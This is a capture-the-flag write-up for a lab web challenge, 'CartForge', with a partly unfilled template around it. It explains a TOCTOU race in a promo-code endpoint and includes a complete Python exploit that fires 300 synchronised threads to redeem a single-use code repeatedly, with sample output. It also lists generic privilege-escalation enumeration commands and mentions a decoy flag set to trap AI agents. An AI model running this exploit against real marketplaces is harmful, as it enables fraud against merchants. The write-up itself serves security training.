CartForge
CartForge
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-21 | Status: Solved Techniques: decoy_flag_avoidance, race_condition_exploitation, session_cookie_sharing_across_threads, thread_barrier_synchronization, toctou_promo_bypass
Summary
Task: Digital marketplace with single-use promo code (STARTER50) and $500 Elite Membership; TOCTOU race condition in redemption endpoint. Solution: Fire 300 concurrent threads via threading.Barrier to redeem the same promo code multiple times, accumulate $500, purchase Elite Membership to reveal the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260521_hackadvisor_cartforge - Tags: race_condition, toctou, nodejs, express, concurrent_requests, session_cookies, decoy_flag, promo_code, wallet, digital_marketplace
- Indicators: single-use promo code or coupon with wallet credit, non-atomic check-then-update pattern in redemption endpoint, Express.js backend with connect.sid session, challenge description mentions 'multiple requests at the same time, decoy FLAG in HTML comments designed to trap automated scanners
- Source:
20260521_hackadvisor_cartforge.md
Foothold
Vulnerability / Misconfiguration
- Decoy_flag_avoidance
- Race_condition_exploitation
- Session_cookie_sharing_across_threads
- Thread_barrier_synchronization
- Toctou_promo_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- decoy_flag_avoidance
- race_condition_exploitation
- session_cookie_sharing_across_threads
- thread_barrier_synchronization
- toctou_promo_bypass
- Tags: race_condition, toctou, nodejs, express, concurrent_requests, session_cookies, decoy_flag, promo_code, wallet, digital_marketplace
Original Writeup
<details><summary>Click to expand original content</summary>Description
CartForge is a digital marketplace platform where creators sell premium digital products like templates, UI kits, courses, and assets. Users can browse the catalog, add items to their cart, manage their wallet balance, and redeem promotional codes for store credit.
The platform recently launched an Elite Membership tier with exclusive perks for premium members, including lifetime access to all products. However, the membership costs $500 and new users only start with $100 in wallet credit.
New users receive a welcome promo code worth $50, but it's marked as single-use. Something about how the backend processes promotional offers might not be as airtight as it seems. Think about what happens when multiple requests arrive at the same time.
English summary: Express.js digital marketplace with wallet system. New users get $100 balance and a single-use STARTER50 promo code worth $50. The Elite Membership costs $500 (product_id=9). The promo code redemption endpoint has a TOCTOU race condition — exploit it to redeem the code multiple times, accumulate enough credit, and purchase the membership to get the flag.
Analysis
Reconnaissance
The application is an Express.js backend (revealed by X-Powered-By: Express header) using connect.sid session cookies (express-session).
Key pages and API endpoints discovered:
- Pages:
/products,/wallet,/cart,/orders,/profile - POST /api/wallet/redeem — accepts
{"code": "..."}, returns{"success": true, "message": "...", "new_balance": N} - POST /api/cart/add — accepts
{"product_id": N} - POST /api/checkout — places order from cart items
Decoy flag trap: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — designed to trick AI agents and automated scanners. This is NOT the real flag.
Finding the Promo Code
Registering a new account reveals the promo code in the success message:
"Account created successfully! Your wallet has been credited with $100.00. Use promo code STARTER50 for an extra $50 bonus!"
Registration requires: display_name, email, password, confirm_password fields.
Vulnerability: TOCTOU Race Condition
The POST /api/wallet/redeem endpoint has a classic Time-of-Check to Time-of-Use (TOCTOU) race condition in its promo code redemption logic:
- CHECK: Server queries database to verify if promo code has already been redeemed by this user
- APPLY: $50 credit is added to the user's wallet balance
- UPDATE: Promo code is marked as redeemed in the database
Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the "already redeemed" check before any of them marks the code as used. This is a non-atomic check-then-update pattern — the classic TOCTOU vulnerability.
Solution
Step 1: Register a Fresh Account
Each attempt needs a fresh account with an unused STARTER50 promo code and $100 starting balance.
Step 2: Race Condition Exploit
Fire 300 concurrent threads using threading.Barrier synchronization — all threads wait at the barrier then release simultaneously, maximizing the TOCTOU window. Each thread sends POST /api/wallet/redeem with {"code": "STARTER50"} using the same session cookie.
The race condition is probabilistic — typically 3–8 threads succeed per wave, adding $150–$400 extra. Multiple attempts with fresh accounts may be needed to reach the $500 threshold.
Step 3: Purchase Elite Membership
Once balance ≥ $500:
- Add Elite Membership to cart:
POST /api/cart/addwith{"product_id": 9} - Checkout:
POST /api/checkout - Flag appears on the order details page at
/orders/{order_id}
Exploit Script
#!/usr/bin/env python3
"""CartForge Race Condition Exploit — TOCTOU promo code redemption"""
import requests
import threading
import time
import re
import urllib3
urllib3.disable_warnings()
BASE_URL = "https://4d1944cb-f003-4791-98cc-c58437f91cee.labs.hackadvisor.io"
PROMO_CODE = "STARTER50"
def register_and_login():
"""Register a fresh account and login."""
session = requests.Session()
session.verify = False
ts = int(time.time() * 1000)
email = f"racer{ts}@test.com"
session.post(f"{BASE_URL}/register", data={
"display_name": f"Racer{ts}",
"email": email,
"password": "password123",
"confirm_password": "password123"
}, allow_redirects=False)
session.post(f"{BASE_URL}/login", data={
"email": email,
"password": "password123"
}, allow_redirects=False)
return session
def check_balance(session):
resp = session.get(f"{BASE_URL}/wallet")
match = re.search(r'walletBalance">\$([0-9.]+)', resp.text)
return float(match.group(1)) if match else 0.0
def race_wave(cookies, num_threads=300):
"""Single wave of concurrent requests using Barrier synchronization."""
barrier = threading.Barrier(num_threads, timeout=30)
results = []
lock = threading.Lock()
def attack_thread(idx):
s = requests.Session()
s.verify = False
s.cookies.update(cookies)
try:
barrier.wait() # All threads release simultaneously
resp = s.post(
f"{BASE_URL}/api/wallet/redeem",
json={"code": PROMO_CODE},
timeout=30
)
data = resp.json()
with lock:
results.append(data)
if data.get("success"):
print(f" [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}")
except:
pass
threads = [threading.Thread(target=attack_thread, args=(i,))
for i in range(num_threads)]
for t in threads:
t.start()
for t in threads:
t.join(timeout=45)
return len([r for r in results if r.get("success")])
def main():
for attempt in range(10):
print(f"\n--- Attempt {attempt + 1} ---")
session = register_and_login()
cookies = dict(session.cookies)
balance = check_balance(session)
print(f"[*] Initial balance: ${balance:.2f}")
for wave in range(3):
success = race_wave(cookies, num_threads=300)
balance = check_balance(session)
print(f"[*] Wave {wave+1}: {success} successes, balance: ${balance:.2f}")
if balance >= 500:
break
if balance >= 500:
# Add Elite Membership to cart and checkout
session.post(f"{BASE_URL}/api/cart/add", json={"product_id": 9})
resp = session.post(f"{BASE_URL}/api/checkout", json={})
data = resp.json()
if data.get("order_id"):
resp = session.get(f"{BASE_URL}/orders/{data['order_id']}")
flags = re.findall(r'FLAG\{[a-f0-9]+\}', resp.text)
if flags:
print(f"\n[FLAG] {flags[0]}")
return
time.sleep(0.5)
if __name__ == "__main__":
main()
Successful Run (Attempt 5)
--- Attempt 5 ---
[*] Initial balance: $100.00
[*] Wave 1 (300 threads)...
[+] Thread 42: Balance $150.00
[+] Thread 87: Balance $200.00
[+] Thread 12: Balance $250.00
[+] Thread 156: Balance $300.00
[+] Thread 201: Balance $350.00
[+] Thread 99: Balance $400.00
[+] Thread 178: Balance $450.00
[+] Thread 233: Balance $500.00
[*] Wave 1: 8 successes, balance: $500.00
[!!!] Balance sufficient! $500.00 >= $500
[*] Add to cart: 200
[*] Checkout: {"success": true, "order_id": 5, "message": "Order placed successfully!"}
[FLAG from order] FLAG{REDACTED}
</details>Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR